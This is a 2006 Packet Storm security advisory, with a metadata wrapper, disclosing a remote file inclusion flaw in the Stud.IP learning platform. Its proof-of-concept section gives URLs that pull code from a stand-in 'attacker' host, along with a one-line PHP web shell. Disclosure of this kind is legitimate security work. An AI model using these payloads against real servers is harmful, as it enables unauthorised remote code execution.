ID PACKETSTORM:47924 Type packetstorm Reporter Hamid Ebadi Modified 2006-07-02T00:00:00
Description
`/*------------------------------------------------
IHS Public advisory
-------------------------------------------------*/
Stud.IP Remote File Inclusion
Stud.IP is a learning and an information management
system for universities, educational facilities and
enterprises.
http://www.studip.de
http://www.data-quest.de
http://www.sourceforge.net/projects/studip
Discovered by Hamid Ebadi Credit :
all go to IHS team (IHS : IRAN HOMELAND SECURITY)
www.ihsteam.com (persian)
www.ihsteam.net (english)
The original article can be found at:
http://www.hamid.ir/security/
http://www.IHSteam.com
Vulnerable Systems:
studip 1.3.0-2 and below
Input passed to the "_PHPLIB[libdir]" parameter in
studip-phplib/oohforms.inc and to the
"ABSOLUTE_PATH_STUDIP" parameter in
studip-htdocs/archiv_assi.php is not properly verified
before being used to include files.
This can be exploited to execute arbitrary PHP code by
including files from local or external resources.
POC Exploits:
The following URL will cause the server to include
external files
http://localhost/studip-1.3.0-2/studip-htdocs/archiv_assi.php?cmd=ls -al&ABSOLUTE_PATH_STUDIP=http://attacker/cmd.gif?
http://localhost/studip-1.3.0-2/studip-phplib/oohforms.inc?cmd=ls -al&_PHPLIB[libdir]=http://attacker/cmd.gif?
cmd.gif
<?
passthru($_GET['cmd']);
?>
Solution:
Edit the source code to ensure that input is properly verified.
greeting :
LorD , NT , C0d3r of IHS
`
{"type": "packetstorm", "published": "2006-07-02T00:00:00", "reporter": "Hamid Ebadi", "hashmap": [{"key": "bulletinFamily", "hash": "708697c63f7eb369319c6523380bdf7a"}, {"key": "cvelist", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "cvss", "hash": "d4be9c4fc84262b4f39f89565918568f"}, {"key": "description", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "href", "hash": "79e98bca04dcb5e2d4b23d7f01cb6973"}, {"key": "modified", "hash": "76c95adc5668d0d8cee84de2efefc10a"}, {"key": "objectVersion", "hash": "56765472680401499c79732468ba4340"}, {"key": "published", "hash": "76c95adc5668d0d8cee84de2efefc10a"}, {"key": "references", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "reporter", "hash": "2b34da82979f38567536da71fd5cb61a"}, {"key": "sourceData", "hash": "770efcb12a704d8333e657c10945a183"}, {"key": "sourceHref", "hash": "d12169a8f17f68d3ea8db63dd0da649e"}, {"key": "title", "hash": "834443b7d945317cafd43897125e2b58"}, {"key": "type", "hash": "6466ca3735f647eeaed965d9e71bd35d"}], "bulletinFamily": "exploit", "cvss": {"vector": "NONE", "score": 0.0}, "sourceData": "`/*------------------------------------------------ \nIHS Public advisory \n-------------------------------------------------*/ \n \nStud.IP Remote File Inclusion \nStud.IP is a learning and an information management \nsystem for universities, educational facilities and \nenterprises. \n \nhttp://www.studip.de \nhttp://www.data-quest.de \nhttp://www.sourceforge.net/projects/studip \n \n \nDiscovered by Hamid Ebadi Credit : \nall go to IHS team (IHS : IRAN HOMELAND SECURITY) \nwww.ihsteam.com (persian) \nwww.ihsteam.net (english) \n \n \nThe original article can be found at: \nhttp://www.hamid.ir/security/ \nhttp://www.IHSteam.com \n \nVulnerable Systems: \nstudip 1.3.0-2 and below \n \n \nInput passed to the \"_PHPLIB[libdir]\" parameter in \nstudip-phplib/oohforms.inc and to the \n\"ABSOLUTE_PATH_STUDIP\" parameter in \nstudip-htdocs/archiv_assi.php is not properly verified \nbefore being used to include files. \nThis can be exploited to execute arbitrary PHP code by \nincluding files from local or external resources. \n \nPOC Exploits: \n \nThe following URL will cause the server to include \nexternal files \nhttp://localhost/studip-1.3.0-2/studip-htdocs/archiv_assi.php?cmd=ls -al&ABSOLUTE_PATH_STUDIP=http://attacker/cmd.gif? \nhttp://localhost/studip-1.3.0-2/studip-phplib/oohforms.inc?cmd=ls -al&_PHPLIB[libdir]=http://attacker/cmd.gif? \n \ncmd.gif \n<? \npassthru($_GET['cmd']); \n?> \n \nSolution: \nEdit the source code to ensure that input is properly verified. \n \n \ngreeting : \nLorD , NT , C0d3r of IHS \n \n \n`\n", "viewCount": 1, "history": [], "lastseen": "2016-11-03T10:20:14", "objectVersion": "1.2", "href": "https://packetstormsecurity.com/files/47924/StudIP1302.txt.html", "sourceHref": "https://packetstormsecurity.com/files/download/47924/StudIP1302.txt", "title": "StudIP1302.txt", "enchantments": {"score": {"value": -0.2, "vector": "NONE", "modified": "2016-11-03T10:20:14", "rev": 2}, "dependencies": {"references": [], "modified": "2016-11-03T10:20:14", "rev": 2}, "vulnersScore": -0.2}, "references": [], "id": "PACKETSTORM:47924", "hash": "61ad6769d0650d45e9406bc8d3ae20e544039f34cab05692afa652f789534bc0", "edition": 1, "cvelist": [], "modified": "2006-07-02T00:00:00", "description": ""}
